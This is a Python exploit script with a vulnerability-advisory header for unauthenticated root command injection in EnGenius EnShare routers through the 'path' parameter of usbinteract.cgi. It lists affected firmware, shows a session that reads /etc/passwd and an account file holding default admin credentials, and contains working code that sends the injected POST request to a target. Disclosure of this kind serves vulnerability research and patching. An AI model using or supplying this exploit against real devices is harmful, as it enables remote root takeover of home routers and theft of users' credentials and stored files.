#!/usr/bin/env python # coding: utf8 # # # EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution # # # Vendor: EnGenius Technologies Inc. # Product web page: https://www.engeniustech.com # Affected version: ESR300 (1.4.9, 1.4.7, 1.4.2, 1.4.1.28, 1.4.0, 1.3.1.42, 1.1.0.28) # ESR350 (1.4.11, 1.4.9, 1.4.5, 1.4.2, 1.4.0, 1.3.1.41, 1.1.0.29) # ESR600 (1.4.11, 1.4.9, 1.4.5, 1.4.3, 1.4.2, 1.4.1, 1.4.0.23, 1.3.1.63, 1.2.1.46, 1.1.0.50) # EPG5000 (1.3.9.21, 1.3.7.20, 1.3.3.17, 1.3.3, 1.3.2, 1.3.0, 1.2.0) # ESR900 (1.4.5, 1.4.3, 1.4.0, 1.3.5.18 build-12032015@liwei (5668b74), 1.3.1.26, 1.3.0, 1.2.2.23, 1.1.0) # ESR1200 (1.4.5, 1.4.3, 1.4.1, 1.3.1.34, 1.1.0) # ESR1750 (1.4.5, 1.4.3, 1.4.1, 1.4.0, 1.3.1.34, 1.3.0, 1.2.2.27, 1.1.0) # # Summary: With the EnGenius IoT Gigabit Routers and free EnShare app, use # your iPhone, iPad or Android-based tablet or smartphone to transfer # video, music and other files to and from a router-attached USB hard # drive. Enshare is a USB media storage sharing application that enables # access to files remotely. The EnShare feature allows you to access media # content stored on a USB hard drive connected to the router's USB port in # the home and when you are away from home when you have access to the Internet. # By default the EnShare feature is enabled. # # EnShareTM supports both FAT32 and NTFS USB formats. Transfer speeds of data # from your router-attached USB storage device to a remote/mobile device may # vary based on Internet uplink and downlink speeds. The router's design enables # users to connect numerous wired and wireless devices to it and supports intensive # applications like streaming HD video and sharing of media in the home and accessing # media away from the home with EnShare - Your Personal Media Cloud. # # Desc: EnGenius EnShare suffers from an unauthenticated command injection # vulnerability. An attacker can inject and execute arbitrary code as the # root user via the 'path' GET/POST parameter parsed by 'usbinteract.cgi' # script. # # ======================================================================= # # bash-4.4$ python enshare.py 10.0.0.17 # [+] Command: ls -alsh # 44 -rwxr-xr-x 1 0 0 42.5K Oct 31 2014 getsize.cgi # 4 -rwxr-xr-x 1 0 0 606 Oct 31 2014 languageinfo.cgi # 48 -rwxr-xr-x 1 0 0 44.2K Oct 31 2014 upload.cgi # 48 -rwxr-xr-x 1 0 0 44.5K Oct 31 2014 usbinfo.cgi # 56 -rwxr-xr-x 1 0 0 54.1K Oct 31 2014 usbinteract.cgi # 0 drwxr-xr-x 4 0 0 0 Jun 3 00:52 .. # 0 drwxr-xr-x 2 0 0 0 Oct 31 2014 . # # [+] Command: id # uid=0(root) gid=0(root) # # [+] Command: cat /etc/passwd # # Connecting to 10.0.0.17 port 9000 # # HTTP/1.1 200 OK # root: !:0:0:root:/root:/bin/sh # administrator: *:65534:65534:administrator:/var:/bin/false # admin: *:60000:60000:webaccount:/home:/usr/bin/sh # guest: *:60001:60000:webaccount:/home:/usr/bin/sh # Content-type: text/html # Transfer-Encoding: chunked # Date: Sat, 03 Jun 2017 13:48:14 GMT # Server: lighttpd/1.4.31 # # 0 # [+] Command: pwd # /www/web/cgi-bin # [+] Command: cat /etc/account.conf # # HTTP/1.1 200 OK # 1: admin:admin:4 # 1: guest:guest:1 # Content-type: text/html # Transfer-Encoding: chunked # Date: Sat, 03 Jun 2017 14:53:42 GMT # Server: lighttpd/1.4.31 # bash-4.4$ # # ======================================================================= # # Tested on: Linux 2.6.36 (mips) # Embedded HTTP Server ,Firmware Version 5.11 # lighttpd/1.4.31 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2017-5413 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5413.php # # # 17.05.2017 # import sys, socket if len(sys.argv) < 2: print 'Usage: enshare.py [port]\n' quit() ip = sys.argv[1] port = 9000 if len(sys.argv) < 3 else int(sys.argv[2]) cmd = raw_input('[+] Command: ') payload = 'POST /web/cgi-bin/usbinteract.cgi HTTP/1.1\r\n' payload += 'Host: {0}:{1}\r\n' payload += 'Content-Length: {2}\r\n' payload += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n' payload += 'action=7&path=\"|{3}||\"' msg = payload.format( ip, port, len(cmd)+19, cmd ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target = (ip, port) print >>sys.stderr, '\nConnecting to %s port %s\n' % target s.connect(target) s.sendall(msg) response = s.recv(5000) s.close() print response.strip()